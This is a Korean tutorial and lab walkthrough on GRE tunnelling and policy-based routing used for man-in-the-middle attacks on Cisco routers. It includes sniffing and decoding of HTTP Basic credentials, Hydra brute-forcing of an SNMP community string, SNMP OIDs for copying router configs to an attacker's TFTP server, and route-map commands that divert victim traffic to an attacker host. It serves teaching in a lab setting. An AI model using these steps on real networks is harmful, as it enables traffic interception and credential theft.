TrafficTunnel GRE tunneling...

27
2007.5.16 | 김태일([email protected]) XSTONE TRAFFIC TUNNELING & MITM ATTACK

Transcript of TrafficTunnel GRE tunneling...

2007.5.16 | 김태일([email protected])

XSTONE TRAFFIC TUNNELING & MITM ATTACK

페이지 | 2

Copyright© 2007 All Rights Reserved By zer0one

Warning 본 문서는 교육 목적으로 제작되었습니다. 본 문서를 학습의 목적으로만 사용해주기를 바라며 문

서에 기술되어 있는 기법을 이용한 불법적인 행위에 대해서 저자는 책임을 지지 않습니다. 본 문

서를 사용하는 것은 이러한 내용에 동의함을 의미합니다.

Copyright 본 문서의 모든 권리는 저자에게 귀속됩니다.

본 문서의 배포는 비상업적인 목적인 경우에 한하여 다음의 제약 조건 하에 허락됩니다.

본 문서의 상업적인 이용을 금합니다.

본 문서의 배포 시 원형을 유지해야 하며 저자의 동의없는 수정은 허락되지 않습니다.

본 문서를 배포 하는 경우 반드시 출처(www.xstone.org)를 명시하여야 합니다.

기타의 사항은 일반적인 저작권법을 따릅니다.

Document History

버전 Release Date 수정내용

Ver 1.0 2005년 최초 release

Ver 1.1 2007년 5월 17일 일부 내용 수정, Dynamips를 이용한 랩 추가

Ver 1.2 2007년 5월 23일 쌍방향 터널링 추가, ,MITM 추가

페이지 | 3

Copyright© 2007 All Rights Reserved By zer0one

목차 1. 정책 기반 라우팅(Policy Based Routing) ……………………………………………………….. 4page

1.1 Route map ………………………………………………………………………………………………. 4page 2. 터널링 ………………………………………………………………………………………………………. 7page 3. 트래픽 터널링 ……………………………………………………………………………………………. 10page 4. Lab ………………………………………………………………………………………………………………… 13page 4.1 Lab 구성을 위한 환경 설정 ……………………………………………………………………… 13page 4.2 웹 서버의 취약점을 이용한 라우터 attacker 해킹 …………………………………… 15page 4.3 라우터 attacker에 GRE 터널 및 route-map 생성 ………………………………….. 18page 4.4 SNMP를 이용한 라우터 victim 해킹 ………………………………………………………… 18page 4.5 라우터 victim에 GRE 터널 및 route-map 생성 ……………………………………… 22page 4.6 공격 런칭 ………………………………………………………………………………………………… 24page

페이지 | 4

Copyright© 2007 All Rights Reserved By zer0one

개요

일반적으로 네트워크의 출입구 역할을 하는 border router는 방화벽의 보호를 받지 못하는 경우

가 많다. 따라서 상대적으로 해킹당할 위험이 높을 수 있다. 공격자의 입장에서 border router를

장악한 경우라면 여러 가지 공격 시나리오를 생각해 볼 수 있겠지만 역시나 가장 널리 알려진 방

법은 트래픽 터널링을 이용한 MITM attack이다. 본 문서에서는 정책 기반의 라우팅 기법과 터널

링 기법을 결합한 MITM 공격 기법에 대해서 알아볼 것이다.

본 문서의 내용을 이해하기 위해서는 라우터 설정에 대한 기본 지식이 필요하다. PBR이나

Tuneling등에 대해서는 어느 정도 설명이 이루어지므로 라우터 설정 방법 등에 대한 기초 지식만

갖추고 있으면 된다. 또한 이 문서에서 다루고 있는 트래픽 터널링은 MITM attack vector로 사용

되므로 MITM 공격 기법에 대한 사전 지식을 갖추고 있는 것이 좋겠다. MITM 공격 기법에 대해

서 생소한 독자라면 “MITM attack basic (2007, zer0one)” 이라는 문서를 참고하기 바란다.

1. 정책기반 라우팅(Policy Based Routing, PBR)

트래픽 터널링을 이용한 MITM 공격 기법을 이해하기 위해서는 PBR에 대한 지식이 필수적이다.

트래픽의 흐름을 변경하는데 PBR이라는 아주 훌륭한 라우팅 툴이 사용되기 때문이다. PBR에 대해

서 이미 익숙하다면 이번 섹션은 건너 뛰어도 좋다.

PBR이라는 개념이 등장하기 이전의 전통적인 라우팅 기법은 모두 목적지 IP 어드레스를 기반으

로 하고 있다. 이러한 라우팅에서는 포워딩해야 하는 패킷의 목적지 IP 어드레스가 라우팅 경로를

판단하는 기준이 된다. 다시 말하면 전통적인 라우팅에서는 패킷의 목적지 IP 어드레스를 보고 패

킷을 어느 경로로 보내야 하는지 판단하는 것이다. 반면 PBR은 라우팅 경로를 판단하는 데 있어

목적지 IP 어드레스 뿐만 아니라 프로토콜의 종류, 포트번호 등 패킷의 여러 정보들을 사용한다.

예를 들어 ‘웹트래픽은 1번 라우터로 보내고 ftp 트래픽은 2번 라우터로 보낸다’라는 식의 정책을

구현할 수 있는 것이다. 본 문서에서 예제로 사용할 Cisco 라우터의 경우 PBR을 위해 route map

이라는 기능을 제공한다. Route map은 각 인터페이스에 설치되어 경로 결정에 사용된다. Route

map이 설치되어 있는 인터페이스로 패킷이 들어오면 route map에 기술된 정책에 따라 경로가

결정되어 포워딩되는 것이다. Route map에 대해서 좀 더 알아보도록 하자.

1.1 Route map

Cisco에서 정확히는 IOS에서 제공하는 route map은 match 구문과 set 구문으로 구성된다.

‘match’ 구문은 일종의 조건 문이며 ‘set’ 구문은 조건이 맞을 경우 어떤 행동을 취해야 하는지를

기술하는 구문이다. 물론 route map은 여러 개가 존재할 수 있으므로 이들을 구분하기 위해서 각

각의 route map에 이름을 붙이는데 이를 map tag라고 부른다. Route map에 대한 문법적인 지식

은 이 정도면 충분하다. 긴 설명보다는 실제 예를 통해 IOS에서 route map을 설정하고 사용하는

방법에 대해서 알아보도록 하자. IOS의 경우 다음의 4단계로 route map을 정의하고 활성화 시킬

수 있다.

페이지 | 5

Copyright© 2007 All Rights Reserved By zer0one

① route map 생성 (route-map)

② 조건 정의(match)

③ 액션 정의(set)

④ 인터페이스에 route map 적용 및 활성화(ip policy)

① Route map 생성

Route map을 정의하기 위한 기본 구문은 다음과 같다.

route-map map-tag [permit | deny][sequence number]

route map 설정은 ‘route-map’ 커맨드를 이용한다. map-tag는 앞에서 언급했던 것처럼

route-map을 구분하기 위해 사용되는 이름 같은 것이다. 뒤에 오는 permit가 deny의 의미

는 아래 표와 같다. 생략하면 permit이다.

Match 조건 일치 여부 Action

permit 일치하는 경우 ‘set’에서 정의한 action이 적용됨

permit 일치하지 않는 경우 목적지 IP 어드레스 기반 라우팅이 적용됨

deny 일치하는 경우 목적지 IP 어드레스 기반 라우팅이 적용됨

보통은 ‘route-map routemap_name permit’ 처럼 사용한다.

② 조건 정의

조건 정의는 ‘match’ 명령어를 이용한다. ‘match’ 명령의 구문은 아래와 같다.

match length min max

match ip address access-list-number

첫번째 match 구문은 패킷의 크기를 기반으로 한 조건을 지정할 때 사용한다. 우리가 목적

으로 하는 GRE 스니핑에서는 사용할 일이 거의 없다. 두번째 match 구문이 일반적으로 많

이 사용하는 형식이다. route map을 설정하기 전에 access-list를 만들어 놓고 이를 조건으

로 활용하는 것이다. 예를들어 101번 access-list가 웹트래픽만 허용하도록 하는 규칙을 담

고 있고 route map의 조건을 ‘match ip address 101’처럼 설정했다면 들어오는 패킷 중 웹

트래픽에만 PBR이 적용되는 것이다.(물론 permit 이라고 가정했을 때 이야기다.)

페이지 | 6

Copyright© 2007 All Rights Reserved By zer0one

③ 액션 정의

액션은 ‘set’ 구문을 이용해서 정의한다. 휴… ‘set’ 구문을 다 설명하는 것은 너무 힘들다. 우

리에게 필요한 구문만 살펴보도록 하자. 자세한 내용이 궁금하다면 RTFM!

set ip next-hop ip-address

조건에 맞는 트래픽의 다음 경로를 ip-address로 지정한다는 의미이다. 예를 들어 set ip

next-hop 192.168.1.1로 했다면 match에서 지정한 조건에 맞는 모든 패킷은 192.168.1.1을

거쳐 목적지로 가게 된다.

④ Route map 적용 및 활성화

route map을 활성화 적용시키기 위해서는 먼저 interface 명령을 이용하여 해당 인터페이스

의 환경 설정 모드로 진입해야 한다. 그 다음 아래의 명령을 이용하여 route map을 해당

인터페이스에 적용시킨다.

ip policy route-map map-tag

예를들어 Ethernet0/0 인터페이스에 test라는 route map을 적용시키려면 다음과 같이 하면

된다.

interface eth0/0

ip policy route-map test

페이지 | 7

Copyright© 2007 All Rights Reserved By zer0one

2. 터널링

터널링에 대해서는 간단히 개념만 살펴보고자 한다. 터널링은 한마디로 패킷(passenger)을 다른

패킷(carrier)에 담아 전송하는 것을 의미한다. 왜 패킷을 다른 패킷에 담아 전송해야 하는가? 그림

1을 예로 설명하면 public network 상에 있는 라우터들이 passenger protocol을 이해하지 못해 라

우팅을 할 수 없는 경우가 있기 때문이다. 아래 그림에서 Public network이 internet이라고 가정해

보자. Network 계층 프로토콜에는 IP만 있는 것이 아니다. Novell Netware에서 주로 사용하는 IPX

라는 프로토콜도 있다. 그림1에서 양쪽의 라우터와 host가 모두 IP대신 IPX를 사용하고 internet

상의 라우터들이 IPX를 지원하지 않는다면 두 호스트 사이에 어떻게 통신을 할 수 있을까?(실제

로 필자가 알기론 대부분의 라우터들이 1994년까지 IPX를 지원하지 않았다.) 이러한 경우 해결책

이 될 수 있는 것이 터널링이다. IPX(passenger역할)를 IP(carrier역할)에 담아 보내는 것이다. IP는

인터넷 상의 라우터들이 모두 지원하므로 라우팅될 수 있다. 마지막 라우터가 이를 받아 원래 IPX

를 추출하여 시스템에 전달하기만 하면 되는 것이다. 이러한 상황은 패킷을 암호화하는 경우에도

마찬가지다. IPSec의 터널모드처럼 IP 헤더를 포함한 전체 데이터를 암호화하는 경우 출발지에서

목적지까지의 경로상에 위치한 라우터들은 암호화된 IP 헤더의 내용을 해독할 수 없으므로 암호

화된 패킷을 라우팅을 할 수 없게 된다.이러한 경우 역시 터널링이라는 개념을 이용하여 암호화

된 데이터(IP헤더+데이터, passenger)를 목적지까지 전달하기 위해서 암호화되지 않은 새로운 IP

헤더(carrier)가 필요하게 되는 것이다.

그림 1. 터널링

터널링은 크게 Carrier Protocol, Encapsulating Protocol, Passenger 등 세 가지의 구성 요소를 가

진다.

Passenger: 원본 데이터를 의미한다. 위에서 설명한 예제의 경우 IPX나 IP헤더를 포함하여 암호화

된 데이터가 passenger가 된다. 목적에 따라서 어느 데이터든 passenger가 될 수 있다.

Carrier Protocol: Passenger를 운반하는 역할을 담당하고 있는 프로토콜이다. 당연히 carrier

protocol은 중간의 라우터들이 모두 이해할 수 있는 일반적인 것이어야 한다. 보통 carrier

protocol 역할을 하는 것은 IP이다.

Encapsulation Protocol: 원본 데이터를 터널링하기 위해 필요한 정보를 담고 있는 프로토콜이다.

페이지 | 8

Copyright© 2007 All Rights Reserved By zer0one

이러한 프로토콜등은 passenger protocol의 종류를 비롯하여 터널링된 데이터에서 원래의 데이터

(passenger protocol)를 추출하기 위해 필요한 정보를 담고 있다.(만약 passenger protocol이 암호

화된다면 encapsulation protocol은 암호를 해독하기 위해 필요한 정보들을 담고 있어야 할 것이

다. 실제로 VPN이 그렇다.) 널리 알려진 Encapsulation protocol에는 IPSec(ESP,AH), GRE, PPTP,

L2TP, L2F 등이 있다.

터널링은 개념상 양쪽 노드간 가상의 통신 채널이 형성된 것으로 볼 수 있다. 실제로 트래픽은

출발지 노드와 목적지 노드 중간에 있는 여러 라우터들을 거쳐가지만 개념상으로는 출발지 노드

와 목적지 노드가 자신들만의 프로토콜을 이용하여 직접 통신하는 셈이되기 때문이다. 중간의 라

우터들은 단지 길을 제공해 준 것 뿐이다. 실제로 그림1의 경우처럼 Router A와 Router B 사이에

터널을 형성한 경우 터널을 이용하여 통신을 한다면 두 라우터 간 홉수는 실제로는 많은 라우터

를 거침에도 불구하고 개념상 1홉 밖에 되지 않는다. (설명이 좀 어려우면 이 사실만 기억하면 된

다. 이걸 말하고 싶어서 굳이 터널링을 설명했다. 글쓰는 것이 말하는 것보다 100배쯤 어려운 것

같다)

본 문서에서 설명할 트래픽 터널링 기법은 GRE(Generic Routing Encapsulation)라는

Encapsulation Protocol을 이용한 터널링이 필요하다. 당연히 라우터에서 GRE tunnel을 어떻게 형

성하는지 알아야 할 것이다. 시스코 라우터에서 GRE 터널을 형성하는 순서는 아래와 같다.

① 터널 인터페이스 지정

interface tunnelnumber

터널을 형성하기 위해서는 인터페이스를 지정해야 한다. ‘interface tunnel0’ 와 같이 하면 된

다.

② Encapsulation Mode 설정

tunnel mode gre ip

GRE 터널을 형성할 것이므로 encapsulation mode를 GRE로 선택한다.

③ Tunnel source(시작점) 지정

tunnel source interfacename

다음으로 터널이 시작되는 인터페이스를 지정해야 한다. 그림1에서 Router A의 경우 터널의

시작점은 S0/0이다. 따라서 Router A에서는 ‘tunnel source s0/0’ 처럼 해줘야 한다.

페이지 | 9

Copyright© 2007 All Rights Reserved By zer0one

④ Tunnel destination(끝지점) 지정

tunnel destination ip-address

터널의 끝부분을 지정해야 한다. 그림 1에서 Router A에서 보면 터널의 끝은 Router B의

S0/0이다. 이 경우 IP address를 이용하여 지정할 수 있다. Router A에서는 ‘tunnel

destination 200.201.202.1’처럼 하면 된다.

⑤ Tunnel interface에 IP 어드레스 부여

ip address address

터널에 논리적인 ip address를 부여한다. 중요한 것은 터널의 양쪽 끝이 개념상 동일한 네트

워크에 속하는 ip를 가져야 한다는 것이다. 예를들어 그림1에서 라우터 A의 tunnel0 ip가

192.168.1.1이었다면 라우터 B의 tunnel0 ip는 192.168.1.2와 같은 식으로 되어야 한다.

페이지 | 10

Copyright© 2007 All Rights Reserved By zer0one

3. 트래픽 터널링

여러 MITM attack vector 중 공격자와 victim이 서로 다른 네트워크에 존재하는 경우 사용할 수

있는 대표적인 공격 기법이 트래픽 터널링이다. 흔히 GRE 스니핑이라고 부르는 공격 기법은 트래

픽 터널링을 이용한 MITM 공격을 일컫는다. 하지만 MITM 공격을 통해 스니핑만 가능한 것이 아

니다. 일반적으로 MITM 공격을 통해 스니핑, injection, filtering(데이터조작), DoS 공격등이 가능하

며 이는 트래픽 터널링에서도 그대로 적용된다. 따라서 트래픽 터널링이라는 공격 기법을 스니핑

에만 한정시킬 이유는 없다. 따라서 본 문서에서는 GRE 스니핑이라는 용어 대신에 트래픽 터널링

이라는 용어를 사용할 것이다.

트래픽 터널링을 설명하기 전에 아래의 랩 구성도부터 살펴보도록 하자.

그림 2. 랩 구성도(router는 dynamips, 각 서버는 vmware 이용)

공격자의 IP 어드레스는 192.168.3.100이다.정상적인 경우 192.168.1.100에서 192.168.2.100으로 전

송하는 트래픽은 공격자에게 전달되지 않는다. 트래픽 터널링의 목표는 이러한 상황에서

192.168.1.100이 192.168.2.100으로 전달하는 트래픽의 흐름을 변경하여 공격자를 거쳐가도록 유

도하는 것이다. 즉 정상적인 경우 패킷의 흐름이 192.168.1.100->victim->R1->192.168.2.100 이라

면 트래픽 터널링 기법을 이용한 공격 후에는 패킷의 흐름이 192.168.1.100->attacker-

>192.168.3.100->attacker->victim->R1->192.168.2.100처럼 다소 복잡하게 변경되는 것이다. 이를

위한 공격 절차는 다음과 같다. 그림3을 참고하면서 확인하기 바란다.

페이지 | 11

Copyright© 2007 All Rights Reserved By zer0one

① 공격자는 자신의 위치한 네트워크의 라우터(attacker)를 해킹한다.라우터 해킹에는 여러가

지 방법이 사용되지만 본 문서에서는 예제로 IOS의 http server를 이용하여 해킹할 것이

다.

② 공격자는 victim 라우터를 해킹한다.본 문서에서는 다양한(?) 라우터 해킹 기법을 소개하

기 위해 앞서와는 다르게 SNMP의 취약점을 이용하여 해킹할 것이다.

③ 라우터 attacker와 victim 사이에 GRE tunnel을 형성한다. 이러한 이유에 대해서는 아래에

서 다시 설명하겠다.

④ 라우터 victim의 이더넷 인터페이스(F0/0)에 route-map을 설치한다. 이 route-map은 F0/0

으로 들어오는 모든 패킷의 next-hop을 라우터 attacker로 설정하는 역할을 담당할 것이

다. Next-hop으로는 인접한 라우터 즉 홉수가 1인 라우터만 지정이 가능하므로 정상적인

경우라면 라우터 attacker를 next hop으로 설정할 수는 없다. 하지만 위에서 두 라우터

사이에 GRE tunnel을 형성해 놓았으므로 터널의 끝을 next-hop으로 잡는 것은 가능하다.

(터널을 이용하는 경우 양 끝간의 논리적인 홉수는 1이라는 사실을 기억하자.)

⑤ 위의 설정으로 라우터 victim의 F0/0으로 들어오는 모든 트래픽은 라우터 attacker의 터널

로 포워딩된다. 라우터에서는 공격에 필요한 툴을 실행시키기가 곤란하므로(아직까지 IOS

에서 돌릴 수 있는 공격 툴도 없으며 공격에 활용할 수 있는 기능도 미비하다) 이 트래픽

을 공격자(192.168.3.100)으로 포워딩하는 것이 필요하다. 이를 위해 라우터 attacker의 터

널쪽에 route-map을 설치한다. 이 route-map의 역할은 터널로 들어오는 트래픽을 공격자

쪽으로 포워딩하는 역할을 담당할 것이다.

⑥ 패킷을 수신한 공격자는 스니핑 또는 filtering등의 공격을 수행할 수 있다.

⑦ 공격자는 지속적인 공격을 위해 수신한 트래픽 또는 수정한 트래픽을 라우터 attacker로

포워딩한다.

⑧ 공격자가 라우터 attacker로 포워딩한 트래픽은 터널을 통해 다시 라우터 victim으로 전송

되어야 한다. 물론 라우터 vicim으로 전송하지 않고 라우터 attacker에서 직접 라우팅할

수도 있겠으나 이러한 경우 필터링등 여러 가지 환경에 의해서 원래 목적지까지 도달하

지 못할 수도 있다. 따라서 라우터 victim쪽으로 트래픽을 돌려보내 정상적인 경로를 통

해 라우팅되도록 하는 것이 바람직하다. 이를 위해서 라우터 attacker의 F0/0에 route-

map을 설치한다. 이 route-map의 목적은 공격자가 전송한 트래픽을 터널을 통해 라우터

victim으로 돌려보내는 것이다.

⑨ 이렇게 라우터 victim으로 전송된 패킷은 정상적으로 라우팅되어 최종 목적지인

192.168.2.100까지 전송될 것이다.

페이지 | 12

Copyright© 2007 All Rights Reserved By zer0one

그림 3. 트래픽 터널링 개념도

페이지 | 13

Copyright© 2007 All Rights Reserved By zer0one

4. Lab

대강의 시나리오가 이해되었으면 이제 실제 예제를 살펴보자.예제 랩은 모두 dynamips와 vmware

를 통해 구현하였으며 사용된 IOS 이미지는 Cisco 3660용으로 버전은 12.2이다. (첨언하자면

dynamips는 참 구세주와 같은 프로그램이다.dynamips 덕분에 랩 구축을 위해 돈을 들이지 않아

도 되었으니 말이다. 좀 더 일찍 나왔으면 좋았을 것이라는 아쉬움이 남는다.개발자들에게 감사한

다.dynamips에 대한 자료는 인터넷 상에 많으므로 경건한 마음으로 Google 신에게 기도를 올려

보기 바란다. 아니면 네이버 형님께 여쭤보거나.) 랩 구축에 사용된 net 파일과 각 라우터의 설정

은 다음과 같다.

4-1. Lab 구성을 위한 환경 설정

트래픽터널링.net

model = 3660

autostart = True

[localhost]

[[3660]]

image = \Program Files\Dynamips\images\c3660-i-mz.122-11.T2.bin

ram = 128

[[Router Victim]]

model = 3660

S1/0 = R1 S1/0

F0/0 = NIO_gen_eth:\Device\NPF_{3E1E6EC2-A046-431F-BF95-6B9007C87535}

# vmnetcfg를 이용해서 생성한 vmnet2 인터페이스의 ID이다.(그림1참고)

# 디바이스ID는 레지스트리를 조사하여 확인한다

# reg query HKLM\SYSTEM\ControlSet001\Control\Network\{4D36E972-

# E325-11CE-BFC1-08002BE10318} /s와 같이 확인하면 된다.

[[Router R1]]

model = 3660

S2/0 = Attacker S1/0

F0/0 = NIO_gen_eth:\Device\NPF_{6CF1A64F-7193-4DF2-BDDA-588D8958ECA5}

#vmnetcfg를 이용하여 생성한 vmnet3 인터페이스의 ID이다.(그림1참고)

[[Router Attacker]]

페이지 | 14

Copyright© 2007 All Rights Reserved By zer0one

model = 3660

F0/0 = NIO_gen_eth:\Device\NPF_{5B81D62B-BB93-47E6-9144-1D1B28509493}

#vmnetcfg를 이용하여 생성한 vmnet4 인터페이스의 ID이다.(그림1참고)

라우터 Victim 설정

hostname victim

!

interface FastEtherenet0/0

ip address 192.168.1.1 255.255.255.0

!

interface Serial1/0

ip address 10.0.1.2 255.255.255.252

!

enable secret 0 cisco

!

ip route 0.0.0.0 0.0.0.0 Serial1/0

!

snmp-server community netmgmt RW

!

라우터 Attacker 설정

hostname attacker

!

interface FastEtherenet0/0

ip address 192.168.3.1 255.255.255.0

!

interface Serial1/0

ip address 10.0.2.2 255.255.255.252

!

ip http server

!

enable secret 0 cisco

!

ip route 0.0.0.0 0.0.0.0 Serial1/0

페이지 | 15

Copyright© 2007 All Rights Reserved By zer0one

라우터 R1 설정

hostname R1

!

interface FastEtherenet0/0

ip address 192.168.2.1 255.255.255.0

!

interface Serial1/0

ip address 10.0.1.1 255.255.255.252

!

interface Serial2/0

ip address 10.0.2.1 255.255.255.252

!

ip route 192.168.1.0 255.255.255.0 Serial1/0

ip route 192.168.3.0 255.255.255.0 Serial2/0

!

enable secret 0 cisco

4-2. 웹 서버의 취약점을 이용한 라우터 Attacker 해킹

앞서 언급했던 대로 라우터 attacker는 관리용 웹 서버의 취약점을 이용하여 해킹할 것이다. 준비

된 시나리오대로 먼저 라우터 attacker에 웹 서버가 실행 중인지를 파악해 보도록 하자.nmap등의

스캐닝 툴을 이용하여도 좋지만 특정 포트만을 검사하는 경우라면 netcat이 더 편리하다.

root@zerolab:/tmp# nc -vv 192.168.3.1 80

192.168.3.1: inverse host lookup failed: Host name lookup failure

(UNKNOWN) [192.168.3.1] 80 (www) open => 80번 포트가 오픈되었음을 확인할 수 있다.

라우터 attacker에 웹 서버가 실행 중인 것을 확인했으므로 웹 서버에 접속해 보도록 하자.

페이지 | 16

Copyright© 2007 All Rights Reserved By zer0one

위의 그림에서 확인 가능한 것처럼 관리 웹 페이지에 접속하기 위해서는 인증이 필요하다. Brute

forcing을 할 수도 있겠지만 시간이 많이 걸린다. 보다 우아한(?) 방법을 사용해보자.IOS의 웹 서

버에서에서는 Basic 인증 scheme을 사용한다. 잘 알려진 대로 basic 인증은 아이디와 패스워드를

‘아이디:패스워드’ 형태의 문자열로 만든 후 base64 encoding을 하여 전송한다. Base64 encoding

은 역으로 decoding하기가 매우 간단하다. 따라서 스니핑을 통해서 관리자가 접속하는 트래픽을

캡춰하여 관련 문자열을 추출한 후 base64 decoding을 하면 간단히 아이와 패스워드를 알 수 있

다. 실제 환경에서 스니핑을 하는 경우 보통은 스위치로 연결되어 있으므로 arp cachepoisoing과

같은 공격이 추가적으로 필요하겠지만 dynamips와 vmware로 구성한 랩은 허브로 연결된 환경과

같다. 이 점 참고하기 바란다. 특정 데이터를 포함하는 패킷만을 캡춰하기 위해서는 wireshark이

나 tcpdump보다는 ngrep이 편하다. (wireshark이나 tcpdump등으로도 가능하다.) ngrep을 이용하

여 패킷을 캡춰해 보았다.

root@zerolab:/tmp# ngrep -d eth1 -w Basic

interface: eth1 (192.168.3.0/255.255.255.0)

match: ((^Basic\W)|(\WBasic$)|(\WBasic\W))

########

T 192.168.3.254:1067 -> 192.168.3.1:80 [AP]

GET / HTTP/1.1..Accept: */*..Accept-Language: ko..UA-CPU: x86..Accept-Encod

ing: gzip, deflate..User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows

NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 1.1

.4322)..Host: 192.168.3.1..Connection: Keep-Alive..Authorization: Basic bGV

페이지 | 17

Copyright© 2007 All Rights Reserved By zer0one

2ZWwxNTpjaXNjbw==....

#####

인증 문자열을 찾았으므로 디코딩할 차례이다. Perl을 이용하면 간단하게 디코딩 할 수 있다.

decode.pl

use MIME::Base64;

print MIME::Base64::decode_base64('bGV2ZWwxNTpjaXNjbw==');

root@zerolab:/tmp # perl decode.pl

level15:cisco

디코딩한 결과 아이디가 level15, 패스워드가 cisco임을 확인할 수 있다.

이제 알아낸 아이디와 패스워드를 이용하여 다시 접속해 보자.

이제 웹 인터페이스를 이용하여 명령어를 내릴 수 있게 되었다.

페이지 | 18

Copyright© 2007 All Rights Reserved By zer0one

4-3. 라우터 attacker에 GRE 터널 및 route-map 생성

웹 인터페이스를 통해 아래와 같은 명령을 실행한다.

터널 설정

interface tunnel0

tunnel mode gre ip

tunnel source serial 1/0

tunnel destination 10.0.1.2

ip address 10.1.1.2 255.255.255.252

route map을 위한 acess-list 생성

access-list 101 permit ip any any

route map 생성 및 적용(tunnel_to_attacker, attacker_to_tunnel)

route-map tunnel_to_attacker permit

match ip address 101

set ip next-hop 192.168.3.100

interface tunnel0

ip policy route-map tunnel_to_attacker

route-map attacker_to_tunnel permit

match ip address 101

set ip next-hop 10.1.1.1

interface FastEthernet0/0

ip policy route-map attacker_to_tunnel

4-4. SNMP를 이용한 라우터 victim 해킹

이제 라우터 victim을 해킹해보자. 이번에는 SNMP를 이용하여 해킹을 시도할 것이다.먼저

161/UDP 포트가 활성화되어 있는지 확인해 보도록 하자.

root@zerolab:/tmp# nc -u -vv 192.168.1.1 161

192.168.1.1: inverse host lookup failed: Host name lookup failure

(UNKNOWN) [192.168.1.1] 161 (snmp) open

SNMP agent가 활성화되어 있는 경우 이를 이용한 공격을 진행하기 위해서는 community string

페이지 | 19

Copyright© 2007 All Rights Reserved By zer0one

을 알아야 한다. Community string을 알아내는 방법은 크게 3가지이다.

로컬에 있는 라우터라면 스니핑을 시도해 볼 수 있다. 만약 사용 중인 SNMP의 버전이

V1이거나 V2c인 경우 또는 V3이더라도 암호화를 하지 않는 경우라면 스니핑을 통해 간

단히 community string을 알아낼 수 있다.

Default community string을 이용하여 공격을 시도해 볼 수 있다. 최근의 IOS들은 SNMP

가 default로 활성화되지 않아 점점 가능성이 줄어드는 방법이다.

Bruteforcing 또는 dictionary attack을 시도해 볼 수 있다. 이 경우 사용할 수 있는 툴은

다양하지만 필자 개인적으로는 hydra를 가장 선호한다.

Hydra를 이용하여 라우터 victim에서 사용하는 community string을 알아보자.

root@zerolab:/pentest/bruteforce/hydra-4.6# ./hydra -P dict.txt 192.168.1.1 snmp

Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2007-05-05 11:31:11

[DATA] 13 tasks, 1 servers, 13 login tries (l:1/p:13), ~1 tries per task

[DATA] attacking service snmp on port 161

[STATUS] attack finished for 192.168.1.1 (waiting for childs to finish)

[161][snmp] host: 192.168.1.1 login: password: netmgmt

Hydra (http://www.thc.org) finished at 2007-05-05 11:31:17

라우터 victim에서 사용하는 community string은 ‘netmgmt’임을 알 수 있다. 이 community string

이 Read/Write가 가능한 경우 IOS에서 제공하는 CISCO-CONFIG-COPY-MIB를 이용하여 환경 설

정 파일을 다운로드 하거나 수정 후 업로드 하는 것이 가능하다. CISCO-CONFIG-COPY-MIB을 이

용하여 환경 설정 파일을 다운로드 또는 업로드 하는데 사용되는 MIB의 OID는 아래와 같다.각

OID에 대한 설명에서 N은 임의의 숫자를 의미한다.

TFTP를 이용하여 환경 설정 파일을 다운로드하는 방법 및 관련 OID

1.3.6.1.4.1.9.9.96.1.1.1.1.2.N

OID name : ccCopyProtocol

각 값의 의미 : tftp(1), ftp(2), rcp(3), scp(4), sftp(5)

설명 : 이 값은 라우터의 환경 설정 파일을 업로드 또는 다운로드 할 때 사용할 프로토콜을 지정

하는데 사용한다. 이 TFTP를 이용하기 위해서는 이 OID의 값을 1로 설정하면 된다.

1.3.6.1.4.1.9.9.96.1.1.1.1.3.N

OID name : ccCopySourceFileType

각 값의 의미 : networkFile(1), iosfile(2), startupConfig(3), runningConfig(4), terminal(5)

설명 : 이 값은 복사할 환경 설정 파일의 타입을 지정하기 위해서 사용한다.공격자의 입장에서 환

페이지 | 20

Copyright© 2007 All Rights Reserved By zer0one

경 설정 파일을 다운로드 하기 위해서는 이 값을 3또는 4로 지정하면 된다. 반대로 환경 설정 파

일을 업로드 하기 위해서는 1로 설정한다.

1.3.6.1.4.1.9.9.96.1.1.1.1.4.N

OID name : ccCopyDestFileType

설명 : 이 값은 복사할 파일을 어떤 형태로 저장할 것인지를 지정하기 위해서 사용한다. 공격자의

입장에서 환경 설정 파일을 다운로드 하기 위해서는 이 값을 1로 지정하면 된다. 반대로 업로드

하기 위해서는 3또는 4로 지정한다.

1.3.6.1.4.1.9.9.96.1.1.1.1.5.N

OID name : ccCopyServerAddress

설명 : 이 값은 ccCopyProtocol에서 지정한 서비스를 실행 중인 서버의 주소를 설정하기 위해서

사용한다. 즉 공격자의 IP를 값으로 설정하면 된다.

1.3.6.1.4.1.9.9.96.1.1.1.1.6.N

OID name : ccCopyServerFileName

설명 : 저장할 파일 이름 또는 복사할 파일이름을 의미한다.

1.3.6.1.4.1.9.9.96.1.1.1.1.14.N I 4

OID name : ccCopyEntryRowStatus

각 값의 의미 : active(1), notInService(2), notReady(3), createAndGo(4), createAndWait(5), destroy(6)

설명 : 이 값은 생성된 테이블의 상태를 의미한다.이 값을 1로 설정하면 기록된 대로 환경 설정

파일의 복사가 수행된다.

성공했는지 확인하는 방법 및 OID

1.3.6.1.4.1.9.9.96.1.1.1.1.10.N

OID name : ccCopyState

각 값의 의미 : wating(1), running(2), sucess(3), failed(4)

설명 : 이 값을 확인하여 결과값이 3이면 환경 설정 파일 업로드/다운로드가 성공한 것이다.

*FTP,SFTP,SCP를 이용하는 경우 아래와 같은 내용을 추가적으로 설정한다.

1.3.6.1.4.1.9.9.96.1.1.1.1.7.N (ccCopyUserName)

1.3.6.1.4.1.9.9.96.1.1.1.1.8.N (ccCopyUserPassword)

위의 MIB을 이용하여 라우터 victim의 환경 설정 파일을 다운로드 해보자. ‘snmpset’을 이용하여

페이지 | 21

Copyright© 2007 All Rights Reserved By zer0one

다음과 같이 작업하면 된다. 사실 ‘snmpset’을 이용하는 것보다는 SolarWinds와 같은 툴이나 인터

넷 상에서 쉽게 구할 수 있는 perl 스크립트를 이용하는 것이 보다 간편하다. 그럼에도 ‘snmpset’

을 이용하여 설명하는 것은 기본에 충실해야 한다는 필자의 개똥 철학때문이다. 툴이 무슨 일을

하는지도 모르고 사용하는 것이 무슨 의미가 있겠는가?

snmpset을 이용한 IOS 환경 설정 파일 다운로드

snmpset은 net-snmp(net-snmp.sourceforget.net) 패키지에 포함되어 있는 툴이다. Unix용과

windows용이 모두 제공되므로 공격자의 OS에 맞는 것을 받아 사용하면 되겠다. Unix용의 경우

RedHat이 아니면 소스 코드를 직접 컴파일해야 하는데 이에 대한 설명은 본 문서의 범위를 벗어

나므로 생략하도록 한다.

① 공격자 시스템에 TFTP 서버를 실행한다.

